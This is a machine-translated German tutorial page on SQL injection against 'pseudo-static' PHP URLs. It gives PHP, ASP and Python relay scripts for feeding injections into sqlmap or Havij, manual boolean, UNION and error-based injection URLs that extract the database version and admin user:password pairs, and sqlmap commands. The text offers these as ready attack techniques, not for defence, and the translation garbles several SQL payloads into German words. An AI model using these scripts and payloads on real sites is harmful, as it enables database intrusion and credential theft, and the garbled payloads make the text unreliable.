Heim >Backend-Entwicklung >PHP-Tutorial >PHP-Analyse für pseudostatische Injektion
Dieser Artikel stellt hauptsächlich die Pseudostatik-Injektion in PHP vor und fasst die häufige Pseudostatik-Injektion in PHP in Form von Beispielen zusammen. Er enthält auch verwandte Operationscodes von ASP und Python, die einen bestimmten Referenzwert haben Informationen zur PHP-Programmsicherheit finden Sie unter
. Dieser Artikel beschreibt das Beispiel von PHP für die pseudostatische Injektion. Teilen Sie es als Referenz mit allen. Die Details lauten wie folgt:
1: Transit-Injection-Methode
1 Über http://. www.xxx.com/news.php?id=1 wurde so, nachdem es pseudostatisch gemacht wurde:
http://www.xxx.com/news.php/id/1.html
2 . Testschritte:
Übertragen Sie den injizierten PHP-Code: inject.php
<?php set_time_limit(0); $id=$_GET["id"]; $id=str_replace(” “,”%20″,$id); $id=str_replace(“=”,”%3D”,$id); //$url = "http://www.xxx.com/news.php/id/$id.html"; $url = "http://www.xxx.com/news.php/id/$id.html"; //echo $url; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "$url"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); curl_close($ch); print_r($output); ?>
3 http://127.0.0.1/inject.php?id=1
Injection-Schwachstellen können über sqlmap oder havj ausgeführt werden.
Anhang ASP-Übertragungscode:
<% JmdcwName=request("id") JmStr=JmdcwName JmStr=URLEncoding(JmStr) JMUrl="http://192.168.235.7:8808/ad/blog/" //实际上要请求的网址 JMUrl=JMUrl & JmStr&".html" //拼接url response.write JMUrl&JmStr //我这里故意输出url来看 'JmRef="http://127.0.0.1/6kbbs/bank.asp" JmCok="" JmCok=replace(JmCok,chr(32),"%20") JmStr=URLEncoding(JmStr) response.write PostData(JMUrl,JmStr,JmCok,JmRef) //url,查询字符串,cookie,referer字段 Function PostData(PostUrl,PostStr,PostCok,PostRef) Dim Http Set Http = Server.CreateObject("msxml2.serverXMLHTTP") With Http .Open "GET",PostUrl,False .Send () PostData = .ResponseBody End With Set Http = Nothing PostData =bytes2BSTR(PostData) End Function Function bytes2BSTR(vIn) //处理返回的信息 Dim strReturn Dim I, ThisCharCode, NextCharCode strReturn = "" For I = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn, I, 1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn, I + 1, 1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) I = I + 1 End If Next bytes2BSTR = strReturn End Function Function URLEncoding(vstrin) //发包前对参数的url编码一下 strReturn="" Dim i 'vstrin=replace(vstrin,"%","%25") '增加转换搜索字符, 'vstrin=Replace(vstrin,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 'vstrin=Replace(vstrin,chr(43),"%2B") 'JMDCW增加转换+字符 vstrin=Replace(vstrin,chr(32),"/**/") '在此增加要过滤的代码 //这里很关键,方便啊,把空格自动换成/**/,后面会说到的 For i=1 To Len(vstrin) ThisChr=Mid(vstrin,i,1) if Abs(Asc(ThisChr))< &HFF Then strReturn=strReturn & ThisChr Else InnerCode=Asc(ThisChr) If InnerCode<0 Then InnerCode=InnerCode + &H10000 End If Hight1=(InnerCode And &HFF00) \&HFF Low1=InnerCode And &HFF strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) End if Next URLEncoding=strReturn End Function %>
2. Manuelle Injektionsmethode
1.http://www.xxx.com/play/Diablo.html
http://www.xxx.com/down/html/?772.html
2 Injektion:
http://www.xxx.com/down/html/?772′.html
http://www.xxx.com /play/Diablo'.html
http ://www.xxx.com/play/Diablo'/**/und
/**/1='1 /*.html
http://www.xxx.com/play/Diablo'
/ **/und
/**/1='2 /*.html
http://www.xxx.com/page/html/?56′/**/Und/**/1=1/*.html Normal
http://www.xxx.com/page/html/?56′/**/Und/**/1=2/*.html Fehler
3. Überprüfen Sie, ob es Unterschiede gibt Wenn sie auf den Seiten gleich sind, existieren sie nicht, und wenn sie unterschiedlich sind, werden sie eingefügt.
4. Union-Abfrage:
http://www.xxx.com/play/diablo' und 1=2 Union Select 1,2… frominformation_schema.columns, wobei 1='1. html
http://www.xxx.com/page/html/?56'/**/Und/**/(SELECT/**/1/**/(wählen/**/aus/**/count(* ),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/Gruppe/**/a)b)=1/*.html
Manuelle Injektionsmethode (2)
http://www.xxx.net /news/html/?410.html
http://www.xxx.net/news/html/?410'union/**/1/**/(wählen/**/concat(Benutzer,0x3a,Passwort)/**/select/**/pwn_base_admin/**/0,1),0x3a)a/**/information_schema.tables/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/von/**/where'1'='1.html
Hinweis:
Pseudostatische Injektion ist nicht dasselbe wie gewöhnliche GET-Injektion einer URL
. %20, %23, + usw., die durch Get normaler URLs eingefügt werden, können verwendet werden. Pseudostatisch funktioniert jedoch nicht und wird direkt an die URL übergeben. Verwenden Sie daher /*.**/limit/*******/a)b/***/Dieses Kommentarsymbol Gibt Leerzeichen an.
3. SQLmap-Methode
Fügen Sie *
http:// hinzu, wo immer sich ein pseudostatischer Injektionspunkt befindet sqlmap. www.cunlide.com/id1/1/id2/2
python sqlmap.py -u „http://www.xxx.com/id1/1*/id2/2″
http:/ /www .xxx.com/news/class/?103.htm
python sqlmap.py -u „http://www.xxx.com/news/class/?103*.html“
4. Python-Skriptmethode
Code:
from BaseHTTPServer import * import urllib2 class MyHTTPHandler(BaseHTTPRequestHandler): def do_GET(self): path=self.path path=path[path.find('id=')+3:] proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"}) opener = urllib2.build_opener(proxy_support) urllib2.install_opener(opener) url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/" try: response=urllib2.urlopen(url+path) html=response.read() except urllib2.URLError,e: html=e.read() self.wfile.write(html) server = HTTPServer(("", 8000), MyHTTPHandler) server.serve_forever()
oben Das ist der gesamte Inhalt dieses Artikels. Ich hoffe, dass er für das Lernen aller hilfreich ist. Weitere verwandte Inhalte finden Sie auf der chinesischen PHP-Website
Verwandte Empfehlungen:
Über statische Variablen und Analyse der Verwendung statischer statischer Variablen
PHP implementiert die Extraktion des Stammdomänennamens über die URL
Das obige ist der detaillierte Inhalt vonPHP-Analyse für pseudostatische Injektion. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!